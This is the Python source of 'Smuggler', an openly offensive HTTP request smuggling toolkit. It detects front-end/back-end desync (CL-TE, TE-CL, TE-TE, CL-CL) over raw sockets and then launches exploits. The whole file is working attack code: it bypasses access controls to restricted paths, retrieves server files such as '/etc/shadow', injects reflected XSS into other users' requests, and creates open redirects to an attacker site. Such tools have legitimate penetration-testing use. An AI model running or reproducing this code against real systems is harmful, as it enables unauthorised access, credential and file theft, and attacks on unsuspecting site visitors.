smuggler.py 31 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. Smuggler (HTTP -Smuggling- Attack Toolkit) - 2020/2022 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with PandeMaths; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import sys, socket, ssl
  10. VERSION = "v:0.4"
  11. RELEASE = "09122022"
  12. SOURCE1 = "https://code.03c8.net/epsylon/smuggler"
  13. SOURCE2 = "https://github.com/epsylon/smuggler"
  14. CONTACT = "epsylon@riseup.net - (https://03c8.net)"
  15. try:
  16. import payloads.payloads # import payloads
  17. except:
  18. print ("\n[Info] Try to run the tool with Python3.x.y... (ex: python3 smuggler.py) -> [EXITING!]\n")
  19. sys.exit()
  20. VULNERABLE_LIST = []
  21. def set_target():
  22. target = input("\n + Enter TARGET (ex: 'http(s)://www.evilcorp.com'): ").lower()
  23. if target.startswith("http://"):
  24. target = target.replace("http://","")
  25. port = 80
  26. SSL = False
  27. elif target.startswith("https://"):
  28. target = target.replace("https://","")
  29. port = 443
  30. SSL = True
  31. else:
  32. print("\n"+"-"*45)
  33. print("\n[Error] Target is invalid: '"+str(target)+"'\n")
  34. print("-"*45)
  35. sys.exit()
  36. method = input("\n + Enter HTTP METHOD (default: 'POST'): ").upper()
  37. if method == "GET" or method == "POST":
  38. pass
  39. else:
  40. if method == "":
  41. method = "POST"
  42. else:
  43. print("\n"+"-"*45)
  44. print("\n[Error] Method is invalid: '"+str(method)+"'\n")
  45. print("-"*45)
  46. sys.exit()
  47. protocol = input("\n + Enter PROTOCOL (default: 'HTTP/1.1'): ")
  48. if protocol == "":
  49. protocol = "HTTP/1.1"
  50. path = input("\n + Enter PATH (default: '/'): ")
  51. if path == "":
  52. path = "/"
  53. cookie = input("\n + Enter COOKIE (ex: 'session=iLxgKt7w3FIKor1csjB5HYbPrq9evRhb;'): ")
  54. return target, port, SSL, method, protocol, path, cookie
  55. def detect(final): # detect menu
  56. target, port, SSL, method, protocol, path, cookie = set_target() # set target
  57. print("\n"+"="*50 + "\n")
  58. print("[Info] Starting -HTTP Smuggling- Timing detection ...")
  59. payloads_dsync = payloads.payloads.payloads # load payloads
  60. if target.endswith("/"):
  61. target = target.replace("/", "")
  62. addr = (target, port)
  63. print("")
  64. for payload in payloads_dsync:
  65. attack_type = payload.split("#")[0]
  66. payload_type = payload.split("#")[1]
  67. for i in range(0,2): # send payload twice
  68. print("="*50)
  69. print("Trying payload: ["+str(attack_type)+"] ["+str(i+1)+"/2]")
  70. print("="*50+"\n")
  71. if cookie is not "":
  72. payload = method+" "+path+" "+protocol+"\r\nHost: "+target+"\r\nCookie: "+cookie+"\r\n"+payload_type # main smuggling payload + cookie
  73. else:
  74. payload = method+" "+path+" "+protocol+"\r\nHost: "+target+"\r\n"+payload_type # main smuggling payload
  75. print("+ PAYLOAD:\n")
  76. print(payload)
  77. send_payload(attack_type, payload, addr, SSL) # send each payload
  78. if final == True:
  79. show_final_results(target, port, protocol, method, path, final)
  80. else:
  81. t, p, pr, m, pt = show_final_results(target, port, protocol, method, path, final)
  82. return t, p, pr, m, pt, SSL
  83. def send_payload(attack_type, payload, addr, SSL):
  84. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  85. if SSL == True: # ssl
  86. ss = ssl.wrap_socket(s)
  87. try:
  88. if SSL == True: # ssl
  89. ss.connect(addr)
  90. else:
  91. s.connect(addr)
  92. except Exception as e:
  93. print("-"*45)
  94. print("[Error] Generating socket... -> [PASSING!]")
  95. print(e)
  96. print("-"*45+"\n")
  97. if SSL == True: # ssl
  98. ss.close()
  99. else:
  100. s.close()
  101. return
  102. for i in range(0,10): # x10 tests
  103. if SSL == True: # ssl
  104. ss.send(payload.encode('utf-8'))
  105. else:
  106. s.send(payload.encode('utf-8'))
  107. datas=""
  108. while 1:
  109. if SSL == True: # ssl
  110. data = ss.recv(1024)
  111. else:
  112. data = s.recv(1024)
  113. if not data:
  114. break
  115. try:
  116. datas += str(data.decode('utf-8'))
  117. except:
  118. pass
  119. print("\n+ REPLY:\n")
  120. print(str(datas))
  121. print("")
  122. resp_c=0
  123. resp=""
  124. wait=False
  125. for line in datas.split('\n'):
  126. if "502" in line or "501" in line or "404" in line or "405" in line or "403" in line or "400" in line:
  127. wait=False
  128. resp_c+=1
  129. else:
  130. wait=True
  131. if not wait:
  132. resp += line+'\n'
  133. print("-"*45)
  134. if resp_c > 0 and "Unrecognized method" in str(datas) or resp_c > 0 and "not supported for current URL" in str(datas):
  135. print ("PAYLOAD: ["+str(attack_type)+"] is WORKING! ;-)")
  136. if attack_type not in VULNERABLE_LIST:
  137. VULNERABLE_LIST.append(attack_type) # add attack type for results
  138. else:
  139. print ("PAYLOAD: ["+str(attack_type)+"] is NOT working...")
  140. print("-"*45+"\n")
  141. if SSL == True: # ssl
  142. ss.close()
  143. else:
  144. s.close()
  145. def show_final_results(target, port, protocol, method, path, final):
  146. print("="*50)
  147. print("\n+ Detection RESULT: -HTTP Smuggling- Timing Attack\n")
  148. print("-"*45+"\n")
  149. print(" - TARGET: "+str(target)+":"+str(port))
  150. print(" - Method: "+str(method))
  151. print(" - Protocol: "+str(protocol))
  152. print(" - Path : "+str(path))
  153. TETE = False
  154. TECL = False
  155. CLTE = False
  156. CLCL = False
  157. if VULNERABLE_LIST:
  158. print("\n - STATUS: [ VULNERABLE !!! ]\n")
  159. for v in VULNERABLE_LIST: # resume vulnerable payloads found
  160. if v.startswith("TE-TE") and TETE == False: # TE-TE
  161. print(" * [TE-TE]: [Front-end: Transfer-Encoding] <-> [Back-end: Transfer-Encoding]")
  162. TETE = True
  163. elif v.startswith("TE-CL") and TECL == False: # TE-CL
  164. print(" * [TE-CL]: [Front-end: Transfer-Encoding] <-> [Back-end: Content-Length]")
  165. TECL = True
  166. elif v.startswith("CL-TE") and CLTE == False: # CL-TE
  167. print(" * [CL-TE]: [Front-end: Content-Length] <-> [Back-end: Transfer-Encoding]")
  168. CLTE = True
  169. elif v.startswith("CL-CL") and CLCL == False: # CL-CL
  170. print(" * [CL-CL]: [Front-end: Content-Length] <-> [Back-end: Content-Length]")
  171. CLCL = True
  172. else:
  173. print("\n - STATUS: [ NOT VULNERABLE ]")
  174. print("\n"+"="*50+"\n")
  175. sys.exit() # exit when not vulnerable!
  176. if final == False: # keep exploiting
  177. return target, port, protocol, method, path
  178. print("\n"+"="*50+"\n")
  179. def exploit(): # exploit menu
  180. exploit = input("\n+ SELECT EXPLOIT:\n\n [0] SMG-VER-01: VERIFY that your 'chunked' requests are arriving correctly\n [1] SMG-REV-01: REVEAL if the front-end performs some REWRITING of requests before they are forwarded to the back-end\n [2] SMG-ACL-01: GRANT ACCESS to a RESTRICTED URL (ex: '/restricted/salaries/boss.php', '/admin/', '/private/messages' ...)\n [3] SMG-GET-01: GET a FILE from the back-end server (ex: '/etc/shadow', '/server/config_db.php' ...)\n [4] SMG-XSS-01: INJECT a (simple) reflected XSS in the back-end (exploit 'User-Agent', 'Referer' vulnerability) and append it to the next user's request\n [5] SMG-UFO-01: TURN an 'on-site' redirect into an OPEN REDIRECT and append it to the next user's request\n\n")
  181. if exploit == "0": # verify acccess (back-end)
  182. exploit_verify()
  183. elif exploit == "1": # reveal (front-end)
  184. exploit_reveal()
  185. elif exploit == "2": # bypass (front-end)
  186. exploit_bypass()
  187. elif exploit == "3": # fetch files (back-end)
  188. exploit_steal()
  189. elif exploit == "4": # reflected XSS (back-end)
  190. exploit_XSS()
  191. elif exploit == "5": # open redirect (back-end)
  192. exploit_openredirect()
  193. else: # exit
  194. print ("[Info] Not any valid exploit selected... -> [EXITING!]\n")
  195. sys.exit()
  196. def send_exploit(addr, SSL, exploit, exploit_type, exploit_mode):
  197. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  198. if SSL == True: # ssl
  199. ss = ssl.wrap_socket(s)
  200. try:
  201. if SSL == True: # ssl
  202. ss.connect(addr)
  203. else:
  204. s.connect(addr)
  205. except Exception as e:
  206. print("-"*45)
  207. print("[Error] Generating socket... -> [PASSING!]")
  208. print(e)
  209. print("-"*45+"\n")
  210. if SSL == True: # ssl
  211. ss.close()
  212. else:
  213. s.close()
  214. return
  215. for i in range(0,2): # send exploit twice
  216. if SSL == True: # ssl
  217. ss.send(exploit.encode('utf-8'))
  218. else:
  219. s.send(exploit.encode('utf-8'))
  220. datas=""
  221. while 1:
  222. if SSL == True: # ssl
  223. data = ss.recv(1024)
  224. else:
  225. data = s.recv(1024)
  226. if not data:
  227. break
  228. try:
  229. datas += str(data.decode('utf-8'))
  230. except:
  231. pass
  232. print("\n"+"-"*45)
  233. print("\n+ REPLY:\n")
  234. print(str(datas))
  235. if exploit_mode == "VERIFY":
  236. print("\n"+"-"*45)
  237. print("\n[Info] This exploit ["+exploit_type+"] is working!!! ;-) \n")
  238. if SSL == True: # ssl
  239. ss.close()
  240. else:
  241. s.close()
  242. def exploit_verify():
  243. print("\n"+"="*50 + "\n")
  244. print("[Info] Trying to VERIFY injections (generating back-end errors)...")
  245. target, port, protocol, method, path, SSL = detect(False) # set target
  246. addr = (target, port)
  247. print("\n"+"-"*45)
  248. exploits_dsync = payloads.payloads.exploits # load exploits
  249. smuggled_method = payloads.payloads.methods # load methods
  250. for v in VULNERABLE_LIST:
  251. for exp in exploits_dsync:
  252. if exp.split("#")[0] in v:
  253. for s in smuggled_method:
  254. if s.split("#")[0] == "0": # verify reading
  255. s = s.replace("$method", method)
  256. s = s.replace("$path", path)
  257. s = s.replace("$protocol", protocol)
  258. s = s.replace("$target", target)
  259. smuggled = s.split("#")[1].replace("\n","")
  260. exploit = exp.split("#")[1]
  261. exploit = exploit.replace("$method", method)
  262. exploit = exploit.replace("$path", path)
  263. exploit = exploit.replace("$protocol", protocol)
  264. exploit = exploit.replace("$target", target)
  265. exploit_type = str(exp.split("#")[0])
  266. content_length2 = ""
  267. if exploit_type == "CL-TE-0":
  268. content_length = len(smuggled)+5 #CL-TE-0
  269. elif exploit_type == "CL-TE-1":
  270. content_length = len(smuggled)+4 #CL-TE-1
  271. elif exploit_type == "CL-CL-0":
  272. content_length = len(smuggled)-1 #CL-CL-0
  273. elif exploit_type == "CL-CL-1":
  274. content_length = len(smuggled)-1 #CL-CL-1
  275. content_length2 = len(smuggled)-1
  276. exploit = exploit.replace("$LC", str(content_length2))
  277. elif exploit_type == "CL-CL-2":
  278. content_length = len(smuggled)-1 #CL-CL-2
  279. content_length2 = len(smuggled)+1
  280. exploit = exploit.replace("$LC", str(content_length2))
  281. elif exploit_type == "TE-CL-0":
  282. content_length = len(smuggled)+3 #TE-CL-0
  283. elif exploit_type == "TE-CL-1":
  284. content_length = len(smuggled)+2 #TE-CL-1
  285. elif exploit_type == "TE-TE-0":
  286. content_length = len(smuggled)-1 #TE-TE-0
  287. content_length2 = len(smuggled)-1
  288. exploit = exploit.replace("$LC", str(content_length2))
  289. elif exploit_type == "TE-TE-1":
  290. content_length = len(smuggled)-1 #TE-TE-1
  291. content_length2 = len(smuggled)+1
  292. elif exploit_type == "TE-TE-2":
  293. content_length = len(smuggled)-1 #TE-TE-2
  294. content_length2 = len(smuggled)+1
  295. exploit = exploit.replace("$CL", str(content_length))
  296. exploit = exploit.replace("$SMUGGLED", smuggled)
  297. print("="*50+"\n")
  298. print("+ PAYLOAD TYPE: ["+exploit_type+"]")
  299. print("+ EXPLOIT CODE:\n")
  300. print(str(exploit))
  301. send_exploit(addr, SSL, exploit, exploit_type, "VERIFY") # send exploit
  302. def exploit_reveal():
  303. print("\n"+"="*50 + "\n")
  304. print("[Info] Trying to REVEAL front-end REWRITING...")
  305. target, port, protocol, method, path, SSL = detect(False) # set target
  306. addr = (target, port)
  307. print("\n"+"-"*45)
  308. print("\n"+"="*50)
  309. print("[Info] Exploiting front-end REWRITING...")
  310. print("="*50)
  311. parameter = input("\n + Enter PARAMETER (ex: 'q', '_username', 'search' ...): ")
  312. exploits_dsync = payloads.payloads.exploits # load exploits
  313. smuggled_method = payloads.payloads.methods # load methods
  314. for v in VULNERABLE_LIST:
  315. for exp in exploits_dsync:
  316. if exp.split("#")[0] in v:
  317. for s in smuggled_method:
  318. if s.split("#")[0] == "1": # reveal rewriting
  319. s = s.replace("$method", method)
  320. s = s.replace("$path", path)
  321. s = s.replace("$protocol", protocol)
  322. s = s.replace("$target", target)
  323. s = s.replace("$parameter", parameter)
  324. content_length = len(parameter)+2+50
  325. s = s.replace("$CL", str(content_length))
  326. smuggled = s.split("#")[1]
  327. s = s.replace("$SMUGGLED", smuggled)
  328. exploit = exp.split("#")[1]
  329. exploit = exploit.replace("$method", method)
  330. exploit = exploit.replace("$path", path)
  331. exploit = exploit.replace("$protocol", protocol)
  332. exploit = exploit.replace("$target", target)
  333. exploit = exploit.replace("$parameter", parameter)
  334. exploit = exploit.replace("$SMUGGLED", smuggled)
  335. exploit_type = str(exp.split("#")[0])
  336. content_length2 = ""
  337. if exploit_type == "CL-TE-0":
  338. content_length = len(smuggled)+5 #CL-TE-0
  339. elif exploit_type == "CL-TE-1":
  340. content_length = len(smuggled)+4 #CL-TE-1
  341. elif exploit_type == "CL-CL-0":
  342. content_length = len(smuggled)-1 #CL-CL-0
  343. elif exploit_type == "CL-CL-1":
  344. content_length = len(smuggled)-1 #CL-CL-1
  345. content_length2 = len(smuggled)-1
  346. exploit = exploit.replace("$LC", str(content_length2))
  347. elif exploit_type == "CL-CL-2":
  348. content_length = len(smuggled)-1 #CL-CL-2
  349. content_length2 = len(smuggled)+1
  350. exploit = exploit.replace("$LC", str(content_length2))
  351. elif exploit_type == "TE-CL-0":
  352. content_length = len(smuggled)+3 #TE-CL-0
  353. elif exploit_type == "TE-CL-1":
  354. content_length = len(smuggled)+2 #TE-CL-1
  355. elif exploit_type == "TE-TE-0":
  356. content_length = len(smuggled)-1 #TE-TE-0
  357. content_length2 = len(smuggled)-1
  358. exploit = exploit.replace("$LC", str(content_length2))
  359. elif exploit_type == "TE-TE-1":
  360. content_length = len(smuggled)-1 #TE-TE-1
  361. content_length2 = len(smuggled)+1
  362. elif exploit_type == "TE-TE-2":
  363. content_length = len(smuggled)-1 #TE-TE-2
  364. content_length2 = len(smuggled)+1
  365. exploit = exploit.replace("$CL", str(content_length))
  366. exploit = exploit.replace("$SMUGGLED", smuggled)
  367. print("\n"+"="*50+"\n")
  368. print("+ PAYLOAD TYPE: ["+exploit_type+"]")
  369. print("+ EXPLOIT CODE:\n")
  370. print(str(exploit))
  371. send_exploit(addr, SSL, exploit, exploit_type, "REVEAL") # send exploit
  372. def exploit_bypass():
  373. print("\n"+"="*50 + "\n")
  374. print("[Info] Trying to REVEAL front-end REWRITING...")
  375. target, port, protocol, method, path, SSL = detect(False) # set target
  376. addr = (target, port)
  377. print("\n"+"-"*45)
  378. print("\n"+"="*50)
  379. restricted = input("\n + Enter RESTRICTED ZONE (ex: '/restricted/salaries/boss.php', '/wp-admin/', '/private/messages'...): ")
  380. exploits_dsync = payloads.payloads.exploits # load exploits
  381. smuggled_method = payloads.payloads.methods # load methods
  382. for v in VULNERABLE_LIST:
  383. for exp in exploits_dsync:
  384. if exp.split("#")[0] in v:
  385. for s in smuggled_method:
  386. if s.split("#")[0] == "2": # bypass ACLs
  387. s = s.replace("$method", method)
  388. s = s.replace("$path", path)
  389. s = s.replace("$protocol", protocol)
  390. s = s.replace("$target", target)
  391. s = s.replace("$restricted", restricted)
  392. content_length = 10 # $CL method
  393. s = s.replace("$CL", str(content_length))
  394. smuggled = s.split("#")[1]
  395. exploit = exp.split("#")[1]
  396. exploit = exploit.replace("$method", method)
  397. exploit = exploit.replace("$path", path)
  398. exploit = exploit.replace("$protocol", protocol)
  399. exploit = exploit.replace("$target", target)
  400. exploit = exploit.replace("$restricted", restricted)
  401. exploit_type = str(exp.split("#")[0])
  402. content_length2 = ""
  403. if exploit_type == "CL-TE-0":
  404. content_length = len(smuggled)+5 #CL-TE-0
  405. elif exploit_type == "CL-TE-1":
  406. content_length = len(smuggled)+4 #CL-TE-1
  407. elif exploit_type == "CL-CL-0":
  408. content_length = len(smuggled)-1 #CL-CL-0
  409. elif exploit_type == "CL-CL-1":
  410. content_length = len(smuggled)-1 #CL-CL-1
  411. content_length2 = len(smuggled)-1
  412. exploit = exploit.replace("$LC", str(content_length2))
  413. elif exploit_type == "CL-CL-2":
  414. content_length = len(smuggled)-1 #CL-CL-2
  415. content_length2 = len(smuggled)+1
  416. exploit = exploit.replace("$LC", str(content_length2))
  417. elif exploit_type == "TE-CL-0":
  418. content_length = len(smuggled)+3 #TE-CL-0
  419. elif exploit_type == "TE-CL-1":
  420. content_length = len(smuggled)+2 #TE-CL-1
  421. elif exploit_type == "TE-TE-0":
  422. content_length = len(smuggled)-1 #TE-TE-0
  423. content_length2 = len(smuggled)-1
  424. exploit = exploit.replace("$LC", str(content_length2))
  425. elif exploit_type == "TE-TE-1":
  426. content_length = len(smuggled)-1 #TE-TE-1
  427. content_length2 = len(smuggled)+1
  428. elif exploit_type == "TE-TE-2":
  429. content_length = len(smuggled)-1 #TE-TE-2
  430. content_length2 = len(smuggled)+1
  431. exploit = exploit.replace("$CL", str(content_length))
  432. exploit = exploit.replace("$SMUGGLED", smuggled)
  433. print("\n"+"="*50+"\n")
  434. print("+ PAYLOAD TYPE: ["+exploit_type+"]")
  435. print("+ EXPLOIT CODE:\n")
  436. print(str(exploit))
  437. send_exploit(addr, SSL, exploit, exploit_type, "BYPASS") # send exploit
  438. def exploit_steal():
  439. print("\n"+"="*50 + "\n")
  440. print("[Info] Trying to GET FILE from server...")
  441. target, port, protocol, method, path, SSL = detect(False) # set target
  442. addr = (target, port)
  443. print("\n"+"-"*45)
  444. files = input("\n + Enter FILE (ex: '/etc/shadow', '/server/config_db.php' ...): ")
  445. exploits_dsync = payloads.payloads.exploits # load exploits
  446. smuggled_method = payloads.payloads.methods # load methods
  447. for v in VULNERABLE_LIST:
  448. for exp in exploits_dsync:
  449. if exp.split("#")[0] in v:
  450. for s in smuggled_method:
  451. if s.split("#")[0] == "3": # fetch files
  452. s = s.replace("$method", method)
  453. s = s.replace("$path", path)
  454. s = s.replace("$protocol", protocol)
  455. s = s.replace("$target", target)
  456. s = s.replace("$files", files)
  457. content_length = len(files)+2 # p=len(files)
  458. s = s.replace("$CL", str(content_length))
  459. smuggled = s.split("#")[1]
  460. exploit = exp.split("#")[1]
  461. exploit = exploit.replace("$method", method)
  462. exploit = exploit.replace("$path", path)
  463. exploit = exploit.replace("$protocol", protocol)
  464. exploit = exploit.replace("$target", target)
  465. exploit = exploit.replace("$files", files)
  466. exploit_type = str(exp.split("#")[0])
  467. content_length2 = ""
  468. if exploit_type == "CL-TE-0":
  469. content_length = len(smuggled)+5 #CL-TE-0
  470. elif exploit_type == "CL-TE-1":
  471. content_length = len(smuggled)+4 #CL-TE-1
  472. elif exploit_type == "CL-CL-0":
  473. content_length = len(smuggled)-1 #CL-CL-0
  474. elif exploit_type == "CL-CL-1":
  475. content_length = len(smuggled)-1 #CL-CL-1
  476. content_length2 = len(smuggled)-1
  477. exploit = exploit.replace("$LC", str(content_length2))
  478. elif exploit_type == "CL-CL-2":
  479. content_length = len(smuggled)-1 #CL-CL-2
  480. content_length2 = len(smuggled)+1
  481. exploit = exploit.replace("$LC", str(content_length2))
  482. elif exploit_type == "TE-CL-0":
  483. content_length = len(smuggled)+3 #TE-CL-0
  484. elif exploit_type == "TE-CL-1":
  485. content_length = len(smuggled)+2 #TE-CL-1
  486. elif exploit_type == "TE-TE-0":
  487. content_length = len(smuggled)-1 #TE-TE-0
  488. content_length2 = len(smuggled)-1
  489. exploit = exploit.replace("$LC", str(content_length2))
  490. elif exploit_type == "TE-TE-1":
  491. content_length = len(smuggled)-1 #TE-TE-1
  492. content_length2 = len(smuggled)+1
  493. elif exploit_type == "TE-TE-2":
  494. content_length = len(smuggled)-1 #TE-TE-2
  495. content_length2 = len(smuggled)+1
  496. exploit = exploit.replace("$CL", str(content_length))
  497. exploit = exploit.replace("$SMUGGLED", smuggled)
  498. print("\n"+"="*50+"\n")
  499. print("+ PAYLOAD TYPE: ["+exploit_type+"]")
  500. print("+ EXPLOIT CODE:\n")
  501. print(str(exploit))
  502. send_exploit(addr, SSL, exploit, exploit_type, "STEAL") # send exploit
  503. def exploit_XSS():
  504. print("\n"+"="*50 + "\n")
  505. print("[Info] Trying to EXPLOIT a (simple) reflected XSS in the back-end (User-Agent, Referer)...")
  506. target, port, protocol, method, path, SSL = detect(False) # set target
  507. addr = (target, port)
  508. print("\n"+"-"*45)
  509. text = input("\n + Enter TEXT (ex: 'XSS', '0wNed by ANONYMOUS', ...): ")
  510. exploits_dsync = payloads.payloads.exploits # load exploits
  511. smuggled_method = payloads.payloads.methods # load methods
  512. for v in VULNERABLE_LIST:
  513. for exp in exploits_dsync:
  514. if exp.split("#")[0] in v:
  515. for s in smuggled_method:
  516. if s.split("#")[0] == "4": # reflected XSS
  517. s = s.replace("$method", method)
  518. s = s.replace("$path", path)
  519. s = s.replace("$protocol", protocol)
  520. s = s.replace("$target", target)
  521. s = s.replace("$text", text)
  522. content_length = len(text)-1
  523. s = s.replace("$CL", str(content_length))
  524. smuggled = s.split("#")[1]
  525. exploit = exp.split("#")[1]
  526. exploit = exploit.replace("$method", method)
  527. exploit = exploit.replace("$path", path)
  528. exploit = exploit.replace("$protocol", protocol)
  529. exploit = exploit.replace("$target", target)
  530. exploit = exploit.replace("$text", text)
  531. exploit_type = str(exp.split("#")[0])
  532. content_length2 = ""
  533. if exploit_type == "CL-TE-0":
  534. content_length = len(smuggled)+5 #CL-TE-0
  535. elif exploit_type == "CL-TE-1":
  536. content_length = len(smuggled)+4 #CL-TE-1
  537. elif exploit_type == "CL-CL-0":
  538. content_length = len(smuggled)-1 #CL-CL-0
  539. elif exploit_type == "CL-CL-1":
  540. content_length = len(smuggled)-1 #CL-CL-1
  541. content_length2 = len(smuggled)-1
  542. exploit = exploit.replace("$LC", str(content_length2))
  543. elif exploit_type == "CL-CL-2":
  544. content_length = len(smuggled)-1 #CL-CL-2
  545. content_length2 = len(smuggled)+1
  546. exploit = exploit.replace("$LC", str(content_length2))
  547. elif exploit_type == "TE-CL-0":
  548. content_length = len(smuggled)+3 #TE-CL-0
  549. elif exploit_type == "TE-CL-1":
  550. content_length = len(smuggled)+2 #TE-CL-1
  551. elif exploit_type == "TE-TE-0":
  552. content_length = len(smuggled)-1 #TE-TE-0
  553. content_length2 = len(smuggled)-1
  554. exploit = exploit.replace("$LC", str(content_length2))
  555. elif exploit_type == "TE-TE-1":
  556. content_length = len(smuggled)-1 #TE-TE-1
  557. content_length2 = len(smuggled)+1
  558. elif exploit_type == "TE-TE-2":
  559. content_length = len(smuggled)-1 #TE-TE-2
  560. content_length2 = len(smuggled)+1
  561. exploit = exploit.replace("$CL", str(content_length))
  562. exploit = exploit.replace("$SMUGGLED", smuggled)
  563. print("\n"+"="*50+"\n")
  564. print("+ PAYLOAD TYPE: ["+exploit_type+"]")
  565. print("+ EXPLOIT CODE:\n")
  566. print(str(exploit))
  567. send_exploit(addr, SSL, exploit, exploit_type, "XSS") # send exploit
  568. def exploit_openredirect():
  569. print("\n"+"="*50 + "\n")
  570. print("[Info] Trying to turn an 'on-site' redirect into an OPEN REDIRECT...")
  571. target, port, protocol, method, path, SSL = detect(False) # set target
  572. addr = (target, port)
  573. print("\n"+"-"*45)
  574. path2 = input("\n + Enter 'on-site' URL (ex: '/', '/login', '/restricted', ...): ")
  575. redirect = input("\n + Enter URL to redirect (ex: 'attacker-website.com' ...): ")
  576. exploits_dsync = payloads.payloads.exploits # load exploits
  577. smuggled_method = payloads.payloads.methods # load methods
  578. for v in VULNERABLE_LIST:
  579. for exp in exploits_dsync:
  580. if exp.split("#")[0] in v:
  581. for s in smuggled_method:
  582. if s.split("#")[0] == "5": # open redirect
  583. s = s.replace("$method", method)
  584. s = s.replace("$path", path)
  585. s = s.replace("$protocol", protocol)
  586. s = s.replace("$target", target)
  587. s = s.replace("$redirect", redirect)
  588. s = s.replace("$PT", path2)
  589. content_length = len(redirect)+1
  590. s = s.replace("$CL", str(content_length))
  591. smuggled = s.split("#")[1]
  592. exploit = exp.split("#")[1]
  593. exploit = exploit.replace("$method", method)
  594. exploit = exploit.replace("$path", path)
  595. exploit = exploit.replace("$protocol", protocol)
  596. exploit = exploit.replace("$target", target)
  597. exploit = exploit.replace("$redirect", redirect)
  598. exploit = exploit.replace("$PT", path2)
  599. exploit_type = str(exp.split("#")[0])
  600. content_length2 = ""
  601. if exploit_type == "CL-TE-0":
  602. content_length = len(smuggled)+5 #CL-TE-0
  603. elif exploit_type == "CL-TE-1":
  604. content_length = len(smuggled)+4 #CL-TE-1
  605. elif exploit_type == "CL-CL-0":
  606. content_length = len(smuggled)-1 #CL-CL-0
  607. elif exploit_type == "CL-CL-1":
  608. content_length = len(smuggled)-1 #CL-CL-1
  609. content_length2 = len(smuggled)-1
  610. exploit = exploit.replace("$LC", str(content_length2))
  611. elif exploit_type == "CL-CL-2":
  612. content_length = len(smuggled)-1 #CL-CL-2
  613. content_length2 = len(smuggled)+1
  614. exploit = exploit.replace("$LC", str(content_length2))
  615. elif exploit_type == "TE-CL-0":
  616. content_length = len(smuggled)+3 #TE-CL-0
  617. elif exploit_type == "TE-CL-1":
  618. content_length = len(smuggled)+2 #TE-CL-1
  619. elif exploit_type == "TE-TE-0":
  620. content_length = len(smuggled)-1 #TE-TE-0
  621. content_length2 = len(smuggled)-1
  622. exploit = exploit.replace("$LC", str(content_length2))
  623. elif exploit_type == "TE-TE-1":
  624. content_length = len(smuggled)-1 #TE-TE-1
  625. content_length2 = len(smuggled)+1
  626. elif exploit_type == "TE-TE-2":
  627. content_length = len(smuggled)-1 #TE-TE-2
  628. content_length2 = len(smuggled)+1
  629. exploit = exploit.replace("$CL", str(content_length))
  630. exploit = exploit.replace("$SMUGGLED", smuggled)
  631. print("\n"+"="*50+"\n")
  632. print("+ PAYLOAD TYPE: ["+exploit_type+"]")
  633. print("+ EXPLOIT CODE:\n")
  634. print(str(exploit))
  635. send_exploit(addr, SSL, exploit, exploit_type, "REDIRECT") # send exploit
  636. def print_banner():
  637. print("\n"+"="*50)
  638. print(" ____ __ __ _ _ ____ ____ _ _____ ____ ")
  639. print("/ ___|| \/ | | | |/ ___|/ ___| | | ____| _ \ ")
  640. print("\___ \| |\/| | | | | | _| | _| | | _| | |_) |")
  641. print(" ___) | | | | |_| | |_| | |_| | |___| |___| _ < ")
  642. print("|____/|_| |_|\___/ \____|\____|_____|_____|_| \_\ by psy")
  643. print('\n"HTTP -Smuggling- (DSYNC) Attacking Toolkit"')
  644. print("\n"+"-"*15+"\n")
  645. print(" * VERSION: ")
  646. print(" + "+VERSION+" - (rev:"+RELEASE+")")
  647. print("\n * SOURCES:")
  648. print(" + "+SOURCE1)
  649. print(" + "+SOURCE2)
  650. print("\n * CONTACT: ")
  651. print(" + "+CONTACT+"\n")
  652. print("-"*15+"\n")
  653. print("="*50)
  654. # sub_init #
  655. print_banner() # show banner
  656. option = input("\n+ CHOOSE: (D)etect or (E)ploit: ").upper()
  657. print("\n"+"="*50)
  658. if option == "D": # detecting phase
  659. detect(True) # only detect
  660. elif option == "E": # trying to exploit
  661. exploit()
  662. else:
  663. print("\n"+"-"*45+"\n")
  664. print("[Smuggler by psy (https://03c8.net)]\n\n Bye! ;-)\n")
  665. sys.exit()